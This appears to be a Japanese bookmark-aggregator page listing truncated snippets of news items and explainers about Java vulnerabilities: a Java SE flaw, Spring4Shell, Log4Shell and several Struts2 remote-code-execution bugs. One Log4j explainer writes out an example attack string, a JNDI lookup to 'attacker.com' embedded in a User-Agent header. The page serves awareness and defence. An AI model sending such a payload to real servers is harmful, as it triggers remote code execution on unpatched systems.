Javaに認証なしで不正操作できる脆弱性 影響範囲広く「早急に修正プログラム適用を」
情報処理推進機構（IPA）は4月20日、プログラミング言語「Java」の基本的な実行環境「Java SE」に重大な脆弱（ぜいじゃく）性が見つかったとして注意を呼び掛けた。活用範囲が広く攻撃された場合の影響が大きいため、IPAはできるだけ早急に修正プログラムを適用するよう呼び掛けている。 CVE識別番号はCVE-2022-21449。影響度を示すCVSS v3のベーススコアは、「情報改ざんの可能性がある」として10点中の7.5。この脆弱性を悪用すると、ネットワークアクセスさえできれば認証せずとも、遠隔地からデータやプログラムの不正操作を行える恐れがあるという。 対象バージョンはOracle Java SE 18、Oracle Java SE 17.0.2、Oracle Java SE 11.0.14、Oracle Java SE 8 Update 321、Oracle Java SE 7 U
Spring Frameworkの脆弱性 CVE-2022-22965（Spring4shell）についてまとめてみた - piyolog
2022年3月31日、Spring Frameworkに致命的な脆弱性が確認され、修正版が公開されました。ここでは関連する情報をまとめます。 １．何が起きたの？ JDK9以上で実行されるSpringMVC、SpringWebFluxでリモートコード実行が可能な脆弱性（CVE-2022-22965）が確認された。脆弱性の通称にSpring4shellまたはSpringShellが用いられている。 Spring FrameworkはJavaで採用される主流なフレームワークの1つのため、Javaで実行されるWebアプリケーションで利用している可能性がある。 2022年3月31日時点で脆弱性のExploitコードが出回っており、関連するインターネット上の活動が既に報告されている。 ２．脆弱性を悪用されると何が起きるの？ 脆弱性を悪用された場合、リモートから任意コード実行が行われることで、機密情報の
CVE - CVE-2021-45046
• CVSS Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings • CPE Information It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Cont
【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について
JNDI とはJava Naming and Directory Interface という、Java アプリケーションが DNS や LDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。 Log4j と JNDI lookupApache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。 CVE-2021-44228 の攻撃シーケンスの例 攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。脆弱性のあるサーバの Java App はその通信を
Log4jの深刻な脆弱性CVE-2021-44228についてまとめてみた - piyolog
2021年12月10日、Javaベースのログ出力ライブラリ「Apache Log4j」の2.x系バージョン（以降はLog4j2と記載）で確認された深刻な脆弱性を修正したバージョンが公開されました。セキュリティ関係組織では過去話題になったHeartbleedやShellshockと同レベルの脆弱性とも評価しています。ここでは関連する情報をまとめます。 １．何が起きたの？ Javaベースのログ出力ライブラリLog4j2で深刻な脆弱性（CVE-2021-44228）を修正したバージョンが公開された。その後も修正が不完全であったことなどを理由に2件の脆弱性が修正された。 広く利用されているライブラリであるため影響を受ける対象が多く存在するとみられ、攻撃が容易であることから2014年のHeartbleed、Shellshock以来の危険性があるとみる向きもあり、The Apache Software
30億のデバイスで任意コードが実行できちゃうJava - Qiita
免責事項 こちらの記事で紹介する内容は、教育目的または脆弱性について仕組みを理解し周知、啓発を行うためだけに作成しております。 ぜったいに、悪用しないでください。 記載されているコードを実行した場合に発生した損害には一切責任を負いません。 理解される方のみ下にスクロールしてください。 経緯 2021/12/9にて、超有名なログ出力ライブラリであるlog4jの第2世代で任意コードが実行可能であると報告されました。 Apache Log4j2 jndi RCE#apache #rcehttps://t.co/ZDmc7S9WW7 pic.twitter.com/CdSlSCytaD — p0rz9 (@P0rZ9) December 9, 2021 ※上記は特定の文字列をログ出力させることで、ペイントツール(draw.exe)を実行している Minecraft(Java版)のチャット機能にてこ
log4jの脆弱性について
log4jとはJava用のloggingライブラリだ。loggingライブラリというのはログとして記録すべき文字列を受け取り、それをどこかに出力するものだ。文字列の中身を通常のloggingライブラリは気にしない。 log4jが通常のloggingライブラリと違うのは、文字列の中身を見て、一部の文字列を変数とみなして置換することだ。これはlog4jのドキュメントではlookupと呼ばれている。 Log4j – Log4j 2 Lookups 例えばプログラムを実行中のJava runtimeのバージョンをログに含めたい場合は、"Java Runtime: ${java:runtime}"などとすると、"Java Runtgime: Java(TM) SE Runtime Environment (build 1.7.0_67-b01) from Oracle Corporation"などの
Struts2 S2-052を例とした脆弱性攻撃手法の調査及びそれらを考慮した防御機能の開発
はじめに 先日、Struts 2に新たな脆弱性S2-052(CVE-2017-9805)が発見され、修正されました。 これはリモートからの任意のコードの実行(RCE)が可能な脆弱性であり、「またか」と思われた方も多かったのではないかと思います...。 しかし実はこの脆弱性によるRCEは、過去繰り返しStruts2に報告されてきたOGNLインジェクションとは異なるメカニズムで発生するものでした。 ここでは、この脆弱性の原因と、RCEに至るメカニズムを解説してみようと思います。 多少プログラミングの知識のある方向けになってしまいますが、ご容赦ください。 シリアライズ／デシリアライズ プログラム内で扱うオブジェクトのインスタンスを特定のフォーマットに従ってバイト列に変換する、またその逆操作を行う仕組みをシリアライズ／デシリアライズと呼びます。 これは単なるデータの保存・復元ではなく、オブジェクト
Struts2の脆弱性、いまだに見つかる本当の理由
ソフトウエアの脆弱性が悪用された実例として、Webアプリケーションフレームワーク「Struts2」の脆弱性について見ていこう。2017年3月9日に公開された「S2-045」というStruts2の脆弱性が原因で、2017年3月以降、多くの情報漏洩事件が起こっている。クレジットカード番号の流出で金銭被害が出た事例もある。Strut2ではこれまでも多くの脆弱性が報告されている▼。S2-045を含め、多くはリモートコード実行の脆弱性だ。 Struts2にリモートコード実行の脆弱性が多いのは、内部で「OGNL▼」というライブラリを利用しているためだ。OGNLは、Javaに似たコードをコンパイルなしで実行する。Struts2ではデータの処理にOGNLを多用している。このため、Struts2に脆弱性があると、例えば攻撃者がHTTPリクエストに埋め込んだ悪意のあるコードがOGNLによって実行されてしまう。
S2-048(CVE-2017-9791)を検証してみる - uranari
Struts2の脆弱性がアナウンスされていたので検証してみました。またRCEみたいです。 https://cwiki.apache.org/confluence/display/WW/S2-048 既にというかcwikiの該当のページが公開される前からチラホラと噂が流れてて公開とほぼ同じかそれより先のタイミングで攻撃コードも出回りはじめていたのでなんだかなーという気持ち。 ちなみにStruts 2.3.32で検証しました。 偉い人が怖いので一部関係無い箇所も黒く塗りつぶしていますがidコマンドの実行結果が帰ってきていることが分かるかと思います。 上記のリンク先にも記載されていますが、今回の脆弱性はS2-045のときのようにStruts2を使用していれば存在しないページにも効くわけではなく、Struts 1 pluginを利用している場合のみ脆弱性が存在しているようです。 簡単にまとめると脆
GMO社が被害を受けたStruts 2（CVE-2017-5638）問題で我々は何を学ぶべきか？ - Qiita
GMOペイメントゲートウェイ社（以下GMOPG）という、クレジット決済代行を取り扱う、 国内最大手の会社がクレジットカード番号を流出させたとして、 3/10以降大きく報道されました。 この事故から、我々エンジニアが学ぶべき事は何でしょうか？ 発生した事象について CVE-2017-5638とはなにか ファイルアップロードにおけるマルチーパートヘッダーの解釈部分に脆弱性があり、 リモートコード実行（RCE）が可能な状態であったらしい 本投稿の趣旨から外れるので、詳しくは調べていません。 経緯・経過 3/6 脆弱性情報が公開されたらしい (Cf. Apache Struts 2における脆弱性 (S2-045、CVE-2017-5638)の被害拡大について ) 3/8 IPAが情報を掲載 (Cf. Apache Struts2 の脆弱性対策について(CVE-2017-5638)(S2-045)
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
